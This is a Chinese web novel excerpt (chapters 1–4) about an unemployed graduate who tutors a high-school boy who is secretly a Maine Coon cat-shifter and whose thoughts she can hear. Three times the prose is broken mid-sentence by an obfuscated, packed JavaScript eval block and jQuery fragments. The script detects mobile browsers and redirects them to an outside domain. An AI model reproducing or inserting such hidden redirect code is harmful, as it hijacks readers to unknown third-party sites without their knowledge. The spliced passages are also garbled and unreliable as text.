《社恐男友是只心机猫》
1. 社恐
春雨细细亲吻过津海市的大街小巷,混沌的空气瞬间变得干净透亮,刚结出花苞的枝头挂着水珠,要掉不掉。
叶橙打开窗户,空气中混合着雨后草木的清香,风缓缓吹过,试图将这段时间的烦闷与焦虑都吹干净。
“考公考研上岸了没?”
“找到工作了吗?”
“毕业论文写咋样了?”
寝室长靠在椅背上生无可恋地发出夺命三问。
没上岸、无工作、不咋样。
实在是没办法,不是她不想找工作,而是网投的简历都石沉大海了。
跑学校的招聘会都只得到一句“抱歉哦,目前岗位不需要文科生”的潦草回答。
“橙子!”寝室长的惊叫震跑了窗外的几只麻雀。
叶橙吓得左眼皮狠狠一跳,只见宋金金蹬蹬腿穿上拖鞋凑到窗台把窗户关上,“别看了别看了,光秃秃的树杈子有啥好看的?”
树杈子不好看,但树杈子上的小鸟可比她们自由多了。叶橙恨不得现在给自己按上俩翅膀,和窗外那群麻雀一起飞。
宋金金疯狂拍叶橙肩膀示意她看。叶橙忙里偷闲地瞥了一眼,“什么东西?帅哥微信?”
“是人民币的微信。”宋金金恨铁不成钢地举起手机来回晃,像颗弹来弹去的羽毛球。
“搞男人哪有搞钱重要。”
钱?!
叶橙眼睛顿时亮了起来,“仔细说说。”
宋金金急匆匆地划开家教群的聊天框,语速很快像机关枪突突往外冒:“多亏我眼疾手快抢到了两个家教名额,一个在咱学校附近小区,另一个有些远需要坐一小时公交,你想去哪个?”
叶橙认真地替对方考虑,“你不是一坐公交就晕车吗?我去那个远的吧。”
这年头找份工作也太不容易了。
作为双非师范大学的应届毕业生,叶橙考研时报名了京北市某所双一流大学,结果被传说中最猛的英语一杀得体无完肤、片甲不留。
她还是不甘心,想再拼一把,希望近期的兼职能存够二战的储备金,免得灰头土脸地回家啃老,被七大姑大八姨的唾沫星子淹死。
很快,学生家长通过了她的好友申请。
微信名是简单的英文字母“Q”,头像是一只缅因猫幼崽,粉鼻头银灰色毛发,睨着镜头懒散掀开眼皮,露出一小截绿色瞳仁。
叶橙深吸一口气,比她做求职简历还认真,在聊天框里敲击:[家长您好!我是叶橙,是在家教群跟您联系的语文补习老师。]
对方很高冷地丢了个“嗯”字过来。
叶橙继续询问:[咱孩子学习具体情况怎么样?喜欢什么样的授课方式?]
对方回复得速度很慢,像阴暗爬行的蜗牛。
学生家长回:[祁曜,男,十八岁,正在上高三,语文成绩不好。处女座,MBTI是INTP,喜欢睡觉,讨厌打电话,不喜欢回人消息,也不喜欢……有事最好别找他。]
密密麻麻的字占满了手机整个屏幕。
叶橙地铁老人脸看向Q发来的一长串自我介绍,她抽出手机迅速回复:[这位家长不需要发这么详细。]
[咱们谈谈课时费?]
钱才是头等大事,务必清算,省得惹出没必要的麻烦。
叶橙下楼去取她的辣椒炒肉外卖,思忖着如何开口,就看到家长问:[正常价格是多少?]
这是任我狮子大开口的意思吗?
叶橙是个很有业界良心的人,她回复了个保守数字:[一般在80-250元范围内。]
发完又迅速补了句:[当然您可以根据实际情况调整。]
Q秒回:[那就260吧。]
大气!
家教多年头一次碰到这么大方的家长,叶橙受宠若惊,她反复观看白色对话框,兴奋得像是吃了一大袋跳跳糖,心肝脾肺肾都在开心冒泡泡。
叶橙夹出小米辣椒,瞬间干饭都有了动力,边吃边打字:[请问您是孩子爸爸还是孩子妈妈?我这边备注一下。]
沉寂几分钟后,Q回复:[…………]
[本人。]
本人?
叶橙手指顿了顿,直接备注学生祁曜。
她放下外卖盒,继续在聊天框输入文字:[咱们是确定一周四节课都补习语文。]
学生祁曜回得简洁:[嗯。]
叶橙:[那我们明天早上九点补习可以吗?]
Q:[嗯。]
确定好一切事宜后,心好累的叶橙靠在椅背上长吁短叹,眸光淡淡瞥向极具聊缩力的对话框。
绿色的长泡泡与白色的短泡泡十分不对称。
他是只会发“嗯”的嗯嗯怪吗?
叶橙轻戳了下小猫头像,去他朋友圈溜达了一圈,结果被一堆猫玩具刷屏。
2025年3月21日:今天新到了一个猫玩具,小猫说他很喜欢。
配图是一条橙白相间的小丑鱼,布料是很健康的棉麻布料,眼睛处装的黑白拼接纽扣,鱼肚子里塞满了pp棉和猫薄荷,可以与吸猫神器相媲美。
2025年2月11日:今天新到的羊肉罐头,小猫说巨腥巨难吃。
2024年12月23日:今天下了好大的雪,小猫说他快被冻死了,不想出门。
叶橙往上划刷新手机,不等她放大雪中梅花脚印的图片,倏忽间朋友圈全没了。
纳尼?
她这是被屏蔽了?
-
晚上九点钟,叶橙擦着湿漉漉的头发从浴室走出来,给老妈叶女士发消息,说她找到了一份家教兼职,工资还不错。
老妈虽忙,但还是秒回:[嗯嗯。]
叶橙:“……”
比祁曜多了一个“嗯”字,老妈还是爱她的。
也许是今天听到的“嗯”字太多了。
当天晚上叶橙做了一个简直离谱到家的梦。
一个长着猫脸的长腿男人拎起大鱼干咣咣砸她脑袋,叶橙小声说我是新来的补习老师。
猫脸男人简短嗯了一声,算是个敷衍的回应,继续毫不留情地打她头。
叶橙快要哭了,委屈道我真是来补习的老师。
猫脸男人面无表情地嗯了一声,丢掉鱼干用肉乎乎的猫爪招呼她头。
叶橙抱头鼠窜,她大喊我又不是老鼠,你打我干嘛啊!
猫脸男人漠视她的求饶,猫爪舞得虎虎生威,拳拳精准击中。
就在血淋淋的猫爪要划破她的脸时,叶橙醒了。
“呼——”
叶橙大喘气,摸上惶恐不安、剧烈跳动的胸口,不敢相信可爱小猫会这么对待自己。
她明明是重度福瑞控啊,尤其爱长毛猫咪,学校里的二黑、胖橘、八嘎,明明都很亲近自己的好吧。
一片水声中,叶橙睁开惺忪的睡眼,挤出一长条橙子味牙膏,泡沫横飞地刷牙。
今天天气很好,天空碧蓝如洗,微风打着卷往行人脸上扑。
叶橙软面团一样被挤进车厢,她坐在最后一排靠着车窗,窗外是春意勃发的树,树下是换上五颜六色春装的行人,整座城市都浸泡在一片彩虹海里。
她凝视着车窗,最终落在自己脸上。
是很甜蜜的长相,杏眼桃腮,嘴唇红润气血足,像一颗元气饱满的冰糖橙子,骨子里爆发出不服输的韧劲。
叶橙在门卫室那边登记好名字,按照高德地图的指引
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627885|172465||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
左拐右拐,走到一栋砖红浮雕顶、米黄色外墙的独立花园别墅前。
庭院里种着两棵紫玉兰,硕大的花瓣像扁平的气球。
叶橙按响了门铃,来开门的是只银虎斑缅因猫,耳朵尖端竖起一小撮白毛,碧绿色瞳仁。
是祁曜头像的长大版。
缅因猫困倦地打了个呵欠,似乎用眼神示意她赶紧进去,尾巴呈鸡毛掸子状在身后散开。
人模人样的,叶橙感到一阵好笑,她小跑几步把缅因猫抱进怀里,替它梳理后背的毛发,很敦实,是位重量级选手。
“好聪明的大肥猫啊,怎么让你来开门了,你家主人呢?”
叶橙托举起小猫的胳肢窝,左右打量,被一扭一扭的聪明毛挠得心痒难耐。
刚才的倦怠一扫而空,缅因猫的碧绿色眼睛来回飘忽,后脚轻轻碰了叶橙胸口一下,飞快跳到地板上跑远了。
叶橙吃痛松开手,五官皱得像干了杯苦瓜汁。
刚刚那猫碰到她胸口了,痛死个人。本来就平,再平就平到太平洋了,只有把它蛋蛋割掉才能平息叶橙的怨气。
色猫、坏猫、脚丫子劲真大的臭猫。
我要拆你蛋!
客厅大而空荡,叶橙后知后觉地害怕起来,瞬间脑补出一部凶杀案电影,她忍不住出声问:“咪咪,咪咪,你在哪儿啊?”
[叫鬼呢?]
是一道如同冰镇柠檬汽水的男声,清爽沁凉,直凉到人心坎里去。
叶橙冻得一哆嗦,她顺着台阶往上看,从楼梯上走下来一个男生。
来人身形瘦削,眉眼干净凛冽,属于偏冷感的长相。男生上身简单套了一件宽松的白色卫衣,下面是浅灰色运动裤。
锋利的脸部线条加上冷色系的衣服,他像行走的冰块制造机,整个夏天都不用开空调。
“你是祁曜同学吧。”叶橙主动打招呼,低头从包里翻出电脑和平板,温暖的栗色头发扎成丸子,额前碎发被晨光染成太阳的浅金色。
祁曜目不斜视,若无其事地将刚才发生的事情遮掩过去:“嗯。”
[废话,不是我是谁?那只大肥猫吗?]
叶橙惊恐地抬头,她发现祁曜嘴唇始终紧闭着,头顶却冒出一个富士山形状的猫爪印,后面有一长串字体在滚动。
那字体还会配音,与那道清爽干净的男声如出一辙。
叶橙以为自己眼花了,她不信邪地试探询问:“你家那只大肥猫呢?”
祁曜神色有些冷淡地别开脸:“被你吓死了。”
[哪里胖了?明明很瘦!]
是世界癫了?还是她癫了?
叶橙摸上红得发烫的脸,站在原地疯狂甩头,想要把那些乱七八糟的心声甩飞甩远。
片刻再抬眸,猫爪依旧未消失,反而语带不屑,鄙夷她的愚蠢。
祁曜淡漠如水地扫视未来的补习老师:[她应该去趟医院。]
“……”
要说最近发生了什么怪事?大概只有刚刚那只缅因猫袭了她的胸……
叶橙有了初步的判断。
她假装镇定,面上不显山露水地再次询问:“你家那只小瘦猫呢?”
[哪里小了?明明很大!]
祁曜蹙眉,与叶橙无声对峙。
好一个阴晴不定的猫主子。
按照叶橙观猫面相的多年经验,她确定缅因是只公猫,因为母猫不会随便踹人家胸。
“你家那只小公猫呢?他绝育了吗?”
气氛有一瞬间的凝滞。
良久,叶橙看见祁曜那张面无表情的脸,隐隐有了一丝裂痕。
“他这辈子都不可能绝育。”
他?绝育?做梦去吧!
2. 手模
又不是让你绝育,凶什么?
叶橙有些纳闷,难不成大帅比主人养的高贵猫要去配高贵的种?
祁曜冷着脸,双手插兜往楼上走,头顶猫爪冒出一个气泡:[真烦。]
男生的语气不善,扣住后脑勺的手指骨节分明,发出咔咔的清脆声响。
超适合当手模的一双手。
毋庸置疑地是,此刻的叶橙没有欣赏美色的好心情,她瞳孔微微发怔,恍然生出一阵后怕。
他不会打人吧?
叶橙仔细端详了下正前方的男生,他绝对不是简单的细狗。
祁曜身形虽瘦削,但宽肩窄腰,标准的倒三角型身材,大腿处也隐隐有一种绷紧的爆发力。
啊!头皮发麻!
要是给她一拳,能直接把她锤穿地心。
[慢死了。]
突兀的声音打断了叶橙波涛汹涌的心理活动。
祁曜侧过身,眉梢轻轻一挑,示意让叶橙先上去。
面上风度翩翩,内心却能让人气得想把他头拧下来:[尊老爱幼是高三生的美好品德。]
叶橙停住脚步,缓缓转身注视那张白净的脸蛋,帅得很有攻击性,也十分欠抽。
她的视线渐渐上移,目光聚焦在猫爪上。
祁曜头顶上的富士山型猫爪看起来好好rua,粉色肉垫像小山丘一样鼓起来,颜色与小时候最爱吃的草莓牛奶味Q.Q糖一模一样。
作为尤爱毛茸茸的资深福瑞控,她曾经浏览过一个猫爪科普帖子。
据说拥有富士山型肉垫的猫咪,性格高冷喜欢独处,把两脚兽当成自己最忠诚贴心的仆人。
算了,她还要赚钱。
不和小孩一般计较。
-
祁曜推开门,跟在身后的叶橙眼前一亮,卧室里有一个超大的猫爬架,巨大的胡萝卜桩伫立在草绿色毛毯上,旁边小托盘用弹簧拴着一个奶黄色毛球。
好多猫玩具!
那只缅因猫可真幸福!
叶橙捂住隐隐作痛的胸口,估计是被踢出淤青了。寝室里还剩下半瓶云南白药,回去可以喷下镇痛。
“你坐里面。”祁曜拉开椅子示意叶橙进去,替她拧开了一瓶鲜榨玉米汁。
他的手指很白很长,在暖色阳光下可以清晰看见紫青色血管和泛着粉晕的指甲。
祁曜头顶上的猫爪又开始往外蹦字幕:[我白坐外面,她黑坐里面。]
叶橙往外掏书的手一顿,她强装镇定地扯了扯嘴角,谢谢你全家啊,我挺白的,也不怕太阳晒。
“距离高考还剩下两个多月的时间,你有什么打算吗?想要报考哪个城市的大学?”叶橙正经起来,摒除心声严肃问道。
“京北。”祁曜语气冷淡。
男生眸光如古井无波无澜,左眼角下的暗红色泪痣是整张脸最浓墨重彩的一部分,像是古典水墨画里的红太阳,和谐且不喧宾夺主。
京北……
也是叶橙考研想要去的地方,四季分明、充满人间烟火气的城市。她时常觉得,在京北读书是一件非常幸福的事情。
悄然间,二人视线不约而同地撞上又错开。
京北市的大学分数普遍要求高,语文成绩保持在125以上才不算拖后腿。
按照高考语文题型分布来讲,文言文阅读、现代文阅读、作文这三个模块是提分最快的。
叶橙大脑飞快思索,手中的圆珠笔不停,唰唰在纸张上写字,嘴里念念有词:“四月份主要进行文言文训练,五月份主要进行现代文训练,作文素材每周积累三则……”
写到一半,她渐渐察觉出不对劲来。
那种感觉叶橙形容不出来,大概就是被小动物暗暗偷窥的即视感。
祁曜眼睛一眨不眨,被她耳朵上的流苏耳环吸引,银色链条在阳光下闪闪发光。
叶橙放下笔,把画好的表格递给祁曜,却发现他注意力根本不在这儿,一直盯她的耳朵看,隐隐有种想扑上去咬掉的冲动。
不是吧?补习老师还要面临生命威胁?
叶橙莫名害怕,她不自然地捋了捋耳环,发现祁曜不感兴趣地移开目光时松了口气。
祁曜戴上眼镜,假装垂眸看叶橙在他试卷上做批注,实际上眼神悄无声息地往窗外飞来飞去的小鸟身上瞥。
叽叽喳喳的鸟,好聒噪。
祁曜把头歪向另一侧,静默如湖水的眸子下开始思考《论小鸟打架》、《论猫吃鸟的一百种方法》等书目出版的可能性。
是不可能出版的。
叶橙控制住疯狂往耳后根咧的嘴角:“你语文基础有些薄弱,尤其是作文方面写得不太好。我在旁边用红笔做了批注,你可以对照着修改。”
祁曜低低应了声。
红笔?
摘掉眼镜的瞬间,世界中模糊的彩色渐渐褪去,沉寂于黑白。
色盲矫正眼镜戴久了容易头疼,祁曜不受控制地眯起眼睛,纸张上的铅字逐渐扭曲变形。
午时的阳光正烈,叶橙眯起眼睛,从包里翻出帽子戴上才好受些。
这节课上得叶橙精疲力竭。
原因无他,祁曜的心声太闹腾了。
在短暂的两个小时内,祁曜上演了“小鸟打架”、“想吃好多鱼”、“试卷堆成猫砂山”、“睡美鱼”等情景戏剧。
叶橙甚至觉得祁曜可以去古希腊和那些剧作家打擂台赛了。
公交车上塞满了人,叶橙被一股脑儿上车的乘客挤到角落里,踮脚勾住车顶垂下的黄色吊环。
在小孩的笑闹声中,她闻到了旁边人发胶底下厚重的头油味。
车身通过坑洼不平的柏油路面,叶橙稳住身体,避免与油头男近距离接触,不曾想撞到了身后的男生。
“对不起——”叶橙连忙道歉,她有点想吐,头油味和皮革味争先恐后地往鼻腔里钻,胃里的早饭在翻江倒海。
“哈喽!”不等她说完,被撞的男生热情冲她打招呼。
叶橙有些脸盲地看他,唇角礼貌地扯起一抹笑容,听到对方断断续续地说:“还记得我吗?我们之前在图书馆做过同桌。”
去年一年的时间叶橙都泡在图书馆,室友还调侃她是不是在图书馆买了房?
她去过三楼到八楼每个楼层,同桌换过无数个人,早就记不清每张脸了。
“咱们加个微信吧,也算是缘分,还挺想念从前那些并肩作战的研友呢。结果考完试后就再也没碰到过。”
“你上岸了吗?”在扫码的间隙,男生突兀问道。
“没有。”叶橙尴尬一笑,恨不得缩成个鹌鹑,过往人群挤来挤去,她的秘制小汉堡书包都快压成面包片了。
在车上,叶橙强忍着呕吐的欲望与男生敷衍聊天,她知道了长得五大三粗的男生叫林翊,总分考了350多分,英语考了50分,成功上岸京北某所985。
挺好的,只不过林翊的油腻发言让叶橙很不舒服,语气里尽是对自己成功的炫耀,话里话间透露出对叶橙考研没上岸的鄙夷和不屑。
什么意思?
嘲笑我学习烂?
我和你很熟吗?
想赏赐他一个大比兜!
“呕!”下车后,叶橙再也憋不住了,她一路小跑到榕
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627886|172465||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
树旁大吐特吐。
“你没事吧。”林翊皱眉问。
“要不要帮你买药?”他后退一大步,略显嫌弃地问。
“不用,你先走吧。”叶橙嘴唇苍白,哆嗦着手拧开包里的矿泉水开始漱口,喉咙间的酸水不停往上翻涌。
世界终于安静了,人与人之间应该保持最起码的社交距离。
一路上,叶橙再也没有看到别人头顶的弹幕,也没有听到别人的心声。
目前读心期限不知,副作用不知,契机大概是那只缅因猫。
猫?
如往常一样,叶橙取出寝室柜子里的猫粮,去找在图书馆附近活跃的三只猫咪。
果然,门前依旧是熟悉的猫窝和三小只,黑色的、橘色的、黑白的,全员到齐。叶橙撕开塑料袋倒了三大碗,满脸慈爱地摸向丝滑大皮毛。
在小猫吃饭的时候,叶橙把三只猫rua遍了,都快rua出残影了,什么声音也没听到。
叶橙有点失望地离开,临走时那只叫八嘎的奶牛猫用尾巴偷偷勾了下她的脚踝。
痒痒的,有点麻。
难道是打开方式不对?
叶橙缓缓低头看向自己平坦的胸口,顿时打了个寒颤。
不要了吧……
反正她还能活蹦乱跳。
第二天,叶橙照常来上班,祁曜依旧是那副不咸不淡的样子,耷拉着眼皮窝在沙发上,怀里抱着彩色猫型抱枕,困困的。
叶橙蹑手蹑脚地走过去,祁曜睡觉的样子像极了晒太阳的猫咪,一样的慵懒惬意。
现在是温和地拍拍他,柔声细语说上课啦?还是疯狂摇晃他肩膀,怒吼给老子起来呢?
不等叶橙开口,沙发上的祁曜眼皮都没掀开,冷不丁冒出一句:“你身上猫味真重。”
其实她还没开门的时候,祁曜就听到了叶橙的脚步声,很有规律的左脚先出右脚后出。同时也闻到了她身上橘猫、中华田园黑猫、奶牛猫,各种猫味混杂在一起的臭味。
叶橙呆愣住,“这是……”狗鼻子吧!
富士山型猫爪又开始往外蹦字了,只是这次的语气不如以往那般冷淡,不爽得像是叶橙欠了他八百万。
[臭死了,我最讨厌奶牛猫了。]
[傻不愣登又丑又胖,实属癫公癫婆。]
很臭吗?叶橙嗅了嗅自己的衣服,只有一股浅淡的橙花洗衣液气味。
而且哪里丑了哪里胖了?叶橙回想起学校里的奶牛猫,八嘎的正开脸特别标准,圆溜溜的眼睛像电灯泡,明明很可爱。
提起猫,叶橙心存疑惑,迄今为止她只能听到祁曜的心声,她睃巡了一圈都没见到缅因猫的影子,只好请教阴晴不定的猫主子,“缅因去哪儿了?”
“你怎么天天问他?你喜欢他?”祁曜语气凉凉,冷酷地把头戴式耳机丢到茶几上,斜倚着沙发靠垫懒散看她。
叶橙斩钉截铁地摇头,“不喜欢,它昨天踹了我,到现在还疼。”
想找它报仇!想拆它蛋!
“踹了你?”祁曜突然剧烈咳嗽起来,耳尖以肉眼可见的速度迅速变红。
[踹哪儿了?]
[死脚。]
[锯掉算了。]
碰到了她的胸……
这是能说出口的吗?
叶橙故意把位置往下挪,顿了顿道:“它踹了我的肚子。”
祁曜果然上钩了,他脸颊泛起一抹红,凝视着自作孽不可活的猫脚,此时正安静摆放在小熊拖鞋里。
有点痒,像是尾巴不受控制挠脚底板一样痒。
昨天,好像是软软的……
3. 暴露
“抱歉。”
“我替缅因向你道歉。”祁曜脸颊上的薄粉还没褪去,干咳着清了清嗓子道:“我会赔付你医药费用的。”
“不用。”
云南白药值几个钱?叶橙狐疑地注视祁曜欲盖弥彰的脸,纳闷他脸红个什么劲?
最重要的是!叶橙要的不是道歉,是见面啊!
祁曜干脆利落地摸起手机,给叶橙转了666元大洋过去,备注:[银虎斑缅因猫的赔礼]。
叶橙:“……”
依旧是昨天的房间,昨天的书桌,昨天的学生祁曜,还有昨天的小鸟。
在祁曜数不清第多少次的瞥向窗外飞来飞去的小鸟、鱼缸游来游去的小鱼时,叶橙怒了。
她重重地把笔丢掉,阴恻恻地微笑:“下次上课需要我穿cos服吗?cos成小鱼小鸟讲课?”
祁曜回过神来,似乎在认真地考虑,“可以。”
[cos成小鸟吧,美人鱼不太适合她,比较适合我。]
祁曜的心声一个字一个字地往叶橙心里蹦,手里的笔快要被她抓烂了,诡异的辣椒红从叶橙内心燃烧到祁曜眼前。
轰隆!辣椒独有的刺激性气味灼烧着祁曜的眼皮,刺目的红色从叶橙身上遍布到整个房间,不复以往单调的黑白。
祁曜完全沉浸在红色带给他的感官冲击,他像是处在爆炒辣子的油锅里,又刺激又兴奋,压根没注意不听话的猫耳自己弹跳出来了。
银灰色的、毛茸茸的猫耳在柔软发丝间疯狂耸动。
耳朵摇摆频率和祁曜某次变成猫形偷偷溜出去,偶然听到的广场舞音乐一模一样,大脑开始不受控制地循环播放:
[辣妹子从小辣不怕!辣妹子长大不怕辣!辣妹子嫁人怕不辣!]
[辣妹子辣!辣妹子辣!辣妹子辣妹子辣辣辣!]
雀跃的、跑调的歌声穿透叶橙的耳膜,她实在是搞不懂,祁曜到底在辣什么?又有什么好辣的?
叶橙抬眸。
天呐!她看到了什么?
福瑞属性大爆棚!
祁曜的脸被辣红到极点,碧绿色猫眼不受控制地滚下大颗大颗泪珠,顺着脸颊往下滑落。
鼻尖和耳廓毛都挂上一层薄粉,该死的诱人,刚剥完壳的荔枝都没他诱人。
叶橙望向祁曜的三角形猫耳,此时正高耸在发丝间,厚实的银灰色毛发附在上面,尖端的聪明毛一扭一扭地抖动。
叶橙托脸捂腮,星星眼闪烁着。
好想摸!让我摸摸!
祁曜终于停下了万马奔腾都拉不回的躁动情绪,转眼就对上了叶橙欣然向往的表情。
他顺着她直勾勾的眼神摸向自己的头顶,毛茸茸的触感让祁曜感到熟悉又陌生。
[什么东西?不会是我的耳朵吧?]
[不可能不可能,耳朵平时很乖的,不会自己冒出来。]
他冷静下来,瞥了眼叶橙,那表情似乎在说你没事吧。
“你的耳朵……”
叶橙无视祁曜的臭脸,一门心思放在猫耳上。她捂住被萌物击中的心脏,强压下不断上扬的唇角,“你的耳朵出来了。”
[耳朵?]
[要死。]
[死耳朵,快收回去啊。]
[完了完了完了……]
祁曜僵立在原地,头顶的富士山形猫爪弹幕疯狂闪烁,心声也一字不露地传进叶橙脑海里。
他故作镇定,想趁其不备把耳朵收回去,耳朵却不听话地越抖越欢快,似乎在向叶橙招手讨亲亲。
快来摸我啊!快来摸我啊!
修长白皙的手指徒劳地按压住发间抖动的银灰色猫耳,一小撮聪明毛从他指缝里露出来。
更糟糕的是,祁曜能明显察觉到尾椎骨处的异样感,那条该死的尾巴正嚣张地膨胀成鸡毛掸子状,在身后来回摆动。
叶橙震惊到了,这条蓬松大尾巴和昨天踹她的缅因一模一样。
“闭眼。”祁曜语气冰冷,不排除有恼羞成怒的成分在其中。
他转身就想跑,却被自己的尾巴绊了一脚,整个人踉跄着向前摔去。
叶橙下意识伸手去扶,掌心被蓬松柔软的猫尾巴所填充,这厚实的毛绒感比她摸过的所有猫都好。
不愧是娇生惯养的贵猫,贵有贵的好。
要不是时机不对,叶橙甚至想问问:你平时是怎么保养毛发的?拿钱砸的吗?
“松手,不要摸我——”
祁曜脸黑得像是风雨欲来的阴云,他疯狂回拽自己的尾巴,尾巴不听使唤地拼命往叶橙手心里蹭。
[真不要脸。]
[这死尾巴是不想活了。]
[切掉算了,丢进垃圾桶。]
可能是察觉到主人即将爆发的愤怒情绪,尾巴乖巧地缩了回去,还谄媚讨好得蹭向祁曜的手背。
叶橙也察觉到了即将来临的危险,她敏锐地捂住胸口,心有余悸地跑到一旁,“你不会是还想踹我一脚吧。”
“谁要踹你?”
祁曜的耳朵尖红得要滴血,头顶上的猫爪继续碎碎念:[那是因为昨天你突然抱我……人类女生不能随便抱男猫……]
[尾巴是猫身上的敏感点,不能随便摸。尤其是异性,更不能摸了。]
[这绝对是我猫生中最丢脸的事情。现在灭口还来得及吗?]
好委屈啊,好愤怒啊。
叶橙幽怨开口道:“我也没想到猫是人啊。”
[是人就不抱了?]
祁曜的碧绿色瞳孔猛地收缩成一条细线,蓬松尾巴环住精瘦有力的腰部,飞机耳耷拉在银灰色发丝间,很不高兴地应激了。
“办正经事要紧,继续上课吧。”叶橙主动转移话题,她不忍心看到小猫咪难过。
这几天的惊吓实在太多了,叶橙原以为是自己讲课烂的缘故,或者是祁曜注意力不集中的原因。但万万没想到祁曜是猫啊!
是猫啊!
那这样祁曜一切怪异的行为就有了合理的解释,领地意识强,爱睡觉,喜欢看小鱼小鸟,注意力不集中,叶橙一一细数着。
没错,很典型的小猫咪性格。
翻来覆去的纸张模糊了叶橙的侧脸,也模糊了祁曜闷闷不乐的眼睛,不耐烦的尾巴甩来甩去,就差往叶橙脑门上抽了。
“今天就上到这里吧。”叶橙合上书,祁曜明显状态不好,他的耳朵尾巴收不回去,一直在叶橙眼前晃。
虽然可爱得让人手痒,但她心里也乱成了一团,只简单讲了一套模拟试卷。
“等等……”祁曜突然叫住她,喉结轻轻滚动。
他不自然地抿了抿唇,声音几乎低得听不见,“你就……没什么想问我的吗?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627887|172465||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
问问我为什么是猫?为什么会长出耳朵和尾巴?
那红色还没有褪去,依旧是刺激的辣椒气味,是在口腔爆破的辛香,是在油锅炸开的滚烫,层层叠叠地涂满整个世界。
祁曜眼前的红色世界,是独一无二的红海。
祁曜眯起眼睛又迅速睁开,他没有错过叶橙怔愣的表情,是不含虚情假意的错愕。
“嗯?为什么要问?”
对啊,为什么要问。人与人之间相处本就该保持着恰当的社交距离。
“不想说的话不需要说,也不用向别人解释。”
“我嘴巴很严的,”叶橙眨了下眼睛,对祁曜小猫咪说:“毕竟……我可是收了钱的。”
一秒破功,祁曜穿着黑色冲锋衣走出来,黑色鸭舌帽遮住炸眼的银灰色头发,也遮住了晦暗不明的眼睛,只露出一小截下巴,衬得肤色极白。
他刻意放慢速度,和叶橙并肩走在一起。
“你怎么也出来了?”
叶橙侧过头,发丝垂落在肩膀。
祁曜又恢复了以往生人勿近的样子,言简意赅道:“买东西。”
路过一个十字街口,二人分道扬镳。祁曜径直走向便利店,叶橙去了便利店前的公交车站台。
祁曜迅速浏览过货架,拿了几包鱿鱼丝、黄鱼酥,又顺手拿起几罐午餐肉罐头。临走前,祁曜的视线在拐角处顿了顿,那里整齐摆放着香橙味的不二家棒棒糖。
便利店正播放着陈奕迅的《苦瓜》,沙哑深情的粤语隔着电流声,在空气中翻涌。
祁曜推开门,鼻尖嗅到了一丝清苦。
车还没有来,叶橙还在原地等待。
黯淡的绿色从叶橙身上冒出来,不是柳树新芽的亮绿,也不是薄荷叶的清新,而是超市角落里最不起眼的苦瓜汁,夏日最佳消暑饮品。
就在刚刚,叶橙收到了导员发来的信息:[叶橙,明天九点来我办公室一趟,咱们谈谈就业的事情。]
“唉。”叶橙蹲在路边长吁短叹,黯淡的路灯打在她脸上,周身被一层朦胧的光所笼罩。
[唉。]
[苦瓜姐。]
祁曜走过来,他下半身穿了一条低腰烟灰色牛仔裤,走动间银色链条发出清脆的摩擦声。
“叹什么气?”祁曜俯下身,眼神里是明晃晃的不加掩饰的戏谑。
他原本是想装作没看见直接走的。只是受到叶橙情绪的影响,祁曜眼前的世界是红绿参半的,左边是红辣椒在暴烈地燃烧,右边是悲伤的苦瓜在逆流成河。
好丑好奇怪。
“给我转一块钱吧。”祁曜突然说。
“为什么?”
“因为我可以收了钱来安慰你。”睚眦必报的祁曜将叶橙的话原路返回地送还给她。
叶橙:“……”
真是一点亏都不肯吃的小猫咪。叶橙行动很快地转账一元,她盯了屏幕半天,并没有祁曜领取红包的提示。
叶橙举着手机问:“你怎么不收红包?”
祁曜头顶上的猫爪开出一朵恶作剧得逞的快乐小花:[骗你的。]
话音刚错,祁曜把刚买的零食全部都递到叶橙怀里。
“什么东西?”
“安慰。”祁曜依旧那副冷淡得要死的样子。
[拿小鱼干来安慰人,我也太有诚意了吧。]
4. 不高兴猫
津海市一中高三1班爆出来一则重磅新闻。
祁曜对周围人的兴奋旁观视若无睹,他用手指压低帽帘,拽紧书包背带淡定自如地走进教室拉开椅子。
刚坐好,常烁就自来熟地靠过来,把手搭在祁曜肩膀上。
“拿开。”祁曜凉凉掀开眼皮,语气不善。
“大清早谁惹你了?板着个臭脸干嘛?”说着,常烁突然捧腹大笑,“不是我说,哥们儿你这什么雷人造型?”
“哎哟我去,绿帽子红袜子,哪个大聪明教你搭配的?”
常烁摸了摸寸头上的青色发茬,像是突然想到什么,笑容淡去凝固在脸上,“呸呸呸,我这嘴皮子不听使唤了,你不是天天穿黑白灰嘛,怎么突发奇想地穿彩色了?”
想穿就穿喽,还要看天气?
祁曜懒得说话,面无表情地抽出试题册,开始做早自习化学定时训练。
同班女生悄悄看过来,捂着嘴窃窃私语。
